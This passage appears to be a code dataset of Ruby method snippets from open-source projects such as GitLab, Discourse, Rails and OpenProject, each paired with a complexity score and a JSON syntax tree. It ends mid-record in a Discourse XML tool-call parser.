{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/services/meetings/icalendar_builder.rb","start_line":282,"raw_source":"def ical_organizer\n      Icalendar::Values::CalAddress.new(\"mailto:#{Setting.mail_from}\", cn: Setting.app_title)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ical_organizer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Icalendar\"]},\"Values\"]},\"CalAddress\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mailto:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"mail_from\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"app_title\"]}]}]}]}]}","id":"e1eefdda-fa4f-4913-9135-9bf95519c9b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/oidc/step_up_authentication.rb","start_line":143,"raw_source":"def has_included_claims?(provider_name, scope)\n            get_id_token_claims_included_conditions(provider_name, scope).present?\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_included_claims?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider_name\"]},{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_id_token_claims_included_conditions\",{\"type\":\"lvar\",\"children\":[\"provider_name\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]},\"present?\"]}]}","id":"2d7e5b39-6faa-489a-97fa-5b511e1a9b13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/wiki_actions.rb","start_line":124,"raw_source":"def show\n    if page\n      set_encoding_error unless valid_encoding?\n\n      # Assign vars expected by MarkupHelper\n      @ref = params[:version_id]\n      @path = page.path\n      @templates = templates_list\n\n      render 'shared/wikis/show'\n    elsif file_blob\n      # This is needed by [GitLab JH](https://gitlab.com/gitlab-jh/gitlab/-/issues/247)\n      send_wiki_file_blob(wiki, file_blob)\n    else\n      handle_redirection\n    end\n  end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_encoding?\"]},null,{\"type\":\"send\",\"children\":[null,\"set_encoding_error\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ref\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version_id\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@templates\",{\"type\":\"send\",\"children\":[null,\"templates_list\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"shared/wikis/show\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_blob\"]},{\"type\":\"send\",\"children\":[null,\"send_wiki_file_blob\",{\"type\":\"send\",\"children\":[null,\"wiki\"]},{\"type\":\"send\",\"children\":[null,\"file_blob\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_redirection\"]}]}]}]}","id":"13a20faf-aeef-4fc9-a483-92ddc868fb09"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/index/dialog_component.rb","start_line":52,"raw_source":"def title\n      return I18n.t(:label_meeting_copy) if @copy_from\n      return I18n.t(:label_meeting_edit) if @meeting.persisted?\n\n      case @meeting\n      when RecurringMeeting\n        I18n.t(\"label_meeting_new_recurring\")\n      else\n        I18n.t(\"label_meeting_new_dynamic\")\n      end\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@copy_from\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_meeting_copy\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting\"]},\"persisted?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_meeting_edit\"]}]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RecurringMeeting\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"label_meeting_new_recurring\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"label_meeting_new_dynamic\"]}]}]}]}]}","id":"70c2a704-4746-4aea-883d-7027b1451dea"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/dialect.rb","start_line":189,"raw_source":"def strip_upload_markers(markdown, upload_shas)\n          return markdown if markdown.blank? || upload_shas.blank?\n          base62_set = upload_shas.compact.map { |sha| Upload.base62_sha1(sha) }.to_set\n          markdown.gsub(%r{!\\[([^\\]|]+)(?:\\|[^\\]]*)?\\]\\(upload://([a-zA-Z0-9]+)[^)]+\\)}) do\n            b62 = Regexp.last_match(2)\n            if base62_set.include?(b62)\n              \"\"\n            else\n              Regexp.last_match(0)\n            end\n          end\n        end","complexity_score":19.75,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_upload_markers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"markdown\"]},{\"type\":\"arg\",\"children\":[\"upload_shas\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_shas\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"base62_set\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_shas\"]},\"compact\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"base62_sha1\",{\"type\":\"lvar\",\"children\":[\"sha\"]}]}]},\"to_set\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"!\\\\[([^\\\\]|]+)(?:\\\\|[^\\\\]]*)?\\\\]\\\\(upload://([a-zA-Z0-9]+)[^)]+\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"b62\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base62_set\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"b62\"]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}","id":"134d99da-f39f-4d3c-9bdf-d75589f4e573"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/oneboxer.rb","start_line":75,"raw_source":"def self.allowed_post_types\n    @allowed_post_types ||= [Post.types[:regular], Post.types[:moderator_action]]\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"allowed_post_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@allowed_post_types\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"regular\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"moderator_action\"]}]}]}]}]}","id":"fc5cf11e-e0a6-4b08-928f-a849ba31bb25"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20220325064954_make_some_bookmark_columns_nullable.rb","start_line":11,"raw_source":"def down\n    DB.exec(\"UPDATE bookmarks SET post_id = bookmarkable_id WHERE bookmarkable_type = 'Post'\")\n    DB.exec(\n      \"UPDATE bookmarks SET post_id = (SELECT id FROM posts WHERE topic_id = bookmarkable_id AND post_number = 1), for_topic = TRUE WHERE bookmarkable_type = 'Topic'\",\n    )\n    change_column_null :bookmarks, :post_id, false\n    execute \"ALTER TABLE bookmarks DROP CONSTRAINT enforce_post_id_or_bookmarkable\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"str\",\"children\":[\"UPDATE bookmarks SET post_id = bookmarkable_id WHERE bookmarkable_type = 'Post'\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"str\",\"children\":[\"UPDATE bookmarks SET post_id = (SELECT id FROM posts WHERE topic_id = bookmarkable_id AND post_number = 1), for_topic = TRUE WHERE bookmarkable_type = 'Topic'\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column_null\",{\"type\":\"sym\",\"children\":[\"bookmarks\"]},{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE bookmarks DROP CONSTRAINT enforce_post_id_or_bookmarkable\"]}]}]}]}","id":"c14a16b6-36bb-495c-b6f6-dde0cd7c5611"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/verify_pod_keys.rb","start_line":4,"raw_source":"def self.run(params)\n        UI.message(\"Validating CocoaPods Keys\")\n\n        options = plugin_options\n        target = options[\"target\"] || \"\"\n\n        options[\"keys\"].each do |key|\n          UI.message(\" - #{key}\")\n          validate(key, target)\n        end\n      end","complexity_score":11.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Validating CocoaPods Keys\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"plugin_options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"target\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"keys\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]}]}]}]}","id":"6b2f8e36-6b50-4c83-9fc7-08fb2bffb3be"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/blame_helper.rb","start_line":32,"raw_source":"def entire_blame_path(id, project)\n    namespace_project_blame_streaming_path(namespace_id: project.namespace, project_id: project, id: id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"entire_blame_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"namespace_project_blame_streaming_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}","id":"1a22819e-4356-47db-b60c-911d0948e1c4"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/dirty.rb","start_line":272,"raw_source":"def changes_applied\n      unless defined?(@attributes)\n        mutations_from_database.finalize_changes\n      end\n      @mutations_before_last_save = mutations_from_database\n      forget_attribute_assignments\n      @mutations_from_database = nil\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"changes_applied\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attributes\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mutations_from_database\"]},\"finalize_changes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutations_before_last_save\",{\"type\":\"send\",\"children\":[null,\"mutations_from_database\"]}]},{\"type\":\"send\",\"children\":[null,\"forget_attribute_assignments\"]},{\"type\":\"ivasgn\",\"children\":[\"@mutations_from_database\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"10cd41d1-9945-4164-935a-1ae49ffe2dac"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transaction_callbacks_test.rb","start_line":1062,"raw_source":"def after_commit_on_update_2\n        self.class.history << :after_commit_on_update_2\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"after_commit_on_update_2\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"history\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"after_commit_on_update_2\"]}]}]}","id":"76e97c9f-0d20-46e4-8cda-5b8e6dd01765"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/gemini/capabilities.rb","start_line":126,"raw_source":"def pricing_family(model_id)\n          case model_id\n          when /gemini-2\\.5-pro-exp-03-25/ then :pro_2_5 # rubocop:disable Naming/VariableNumber\n          when /gemini-2\\.0-flash-lite/ then :flash_lite_2 # rubocop:disable Naming/VariableNumber\n          when /gemini-2\\.0-flash/ then :flash_2 # rubocop:disable Naming/VariableNumber\n          when /gemini-1\\.5-flash-8b/ then :flash_8b\n          when /gemini-1\\.5-flash/ then :flash\n          when /gemini-1\\.5-pro/ then :pro\n          when /gemini-embedding-exp/ then :gemini_embedding\n          when /text-embedding|embedding/ then :embedding\n          when /imagen/ then :imagen\n          when /aqa/ then :aqa\n          else :base\n          end\n        end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pricing_family\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gemini-2\\\\.5-pro-exp-03-25\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"pro_2_5\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gemini-2\\\\.0-flash-lite\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"flash_lite_2\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gemini-2\\\\.0-flash\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"flash_2\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gemini-1\\\\.5-flash-8b\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"flash_8b\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gemini-1\\\\.5-flash\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"flash\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gemini-1\\\\.5-pro\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"pro\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gemini-embedding-exp\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"gemini_embedding\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"text-embedding|embedding\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"embedding\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"imagen\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"imagen\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"aqa\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"aqa\"]}]},{\"type\":\"sym\",\"children\":[\"base\"]}]}]}","id":"9d7db7ca-483c-4cb8-b616-ceaf810458f7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/post/test/services.rb","start_line":257,"raw_source":"def test_no_service\n    return skip('session platform is not windows') unless session.platform == 'windows'\n    it \"should raise a runtime exception if services doesnt exist\" do\n      ret = false\n      begin\n        results = service_status(Rex::Text.rand_text_alpha(5))\n      rescue RuntimeError\n        ret = true\n      end\n\n      ret\n    end\n  end","complexity_score":15.93,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"str\",\"children\":[\"session platform is not windows\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"str\",\"children\":[\"should raise a runtime exception if services doesnt exist\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"service_status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"true\",\"children\":[]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}]}]}","id":"229a3bc1-7534-4a5c-ada7-9f0c71fae6a8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transaction_instrumentation_test.rb","start_line":437,"raw_source":"def test_transaction_instrumentation_on_broken_subscription\n    topic = topics(:fifth)\n\n    error = Class.new(StandardError)\n    subscriber = ActiveSupport::Notifications.subscribe(\"transaction.active_record\") do |event|\n      raise error\n    end\n\n    assert_raises(error) do\n      ActiveRecord::Base.transaction do\n        topic.update(title: \"Ruby on Rails\")\n      end\n    end\n  ensure\n    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transaction_instrumentation_on_broken_subscription\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fifth\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"transaction.active_record\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Ruby on Rails\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},null]}]}]}","id":"5c4f4a6d-a8f0-4c6f-b756-8bf29f51f908"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_id.rb","start_line":47,"raw_source":"def plugin_id_for_test?\n      caller_locations.each do |location|\n        # Thread::Backtrace::Location#path returns base filename or absolute path.\n        # #absolute_path returns absolute_path always.\n        # https://bugs.ruby-lang.org/issues/12159\n        if /\\/test_[^\\/]+\\.rb$/.match?(location.absolute_path) # location.path =~ /test_.+\\.rb$/\n          return true\n        end\n      end\n      false\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"plugin_id_for_test?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller_locations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/test_[^/]+\\\\.rb$\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"absolute_path\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"2ebb9200-2ada-4568-a98f-37874068abad"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/xml_tool_processor.rb","start_line":20,"raw_source":"def <<(text)\n        @buffer << text\n        result = []\n\n        if !@in_tool\n          # double check if we are clearly in a tool\n          search_length = text.length + 20\n          search_string = @buffer[-search_length..-1] || @buffer\n\n          index = search_string.rindex(\"<function_calls>\")\n          @in_tool = !!index\n          if @in_tool\n            @function_buffer = @buffer[index..-1]\n            text_index = text.rindex(\"<function_calls>\")\n            result << text[0..text_index - 1].rstrip if text_index && text_index > 0\n          end\n        else\n          add_to_function_buffer(text)\n        end\n\n        if !@in_tool\n          if maybe_has_tool?(@buffer)\n            split_index = text.rindex(\"<\").to_i - 1\n            if split_index >= 0\n              @function_buffer = text[split_index + 1..-1] || \"\"\n              text = text[0..split_index] || \"\"\n            else\n              add_to_function_buffer(text)\n              text = \"\"\n            end\n          else\n            if @function_buffer.length > 0\n              result << @function_buffer\n              @function_buffer = +\"\"\n            end\n          end\n\n          result << text if text.length > 0\n        else\n          @should_cancel = true if text.include?(\"</function_calls>\")\n        end\n\n        if @should_notify_partial_tool\n          @should_notify_partial_tool = false\n          result << @partial_tools.last\n        end\n\n        result\n      end","complexity_score":90.65,"ast_json":"{\"type\":\"def\",\"children\":[\"<<\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@in_tool\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"search_length\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"lvasgn\",\"children\":[\"search_string\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_length\"]},\"-@\"]},{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"ivar\",\"children\":[\"@buffer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_string\"]},\"rindex\",{\"type\":\"str\",\"children\":[\"<function_calls>\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@in_tool\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"!\"]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@in_tool\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@function_buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text_index\",{\"typ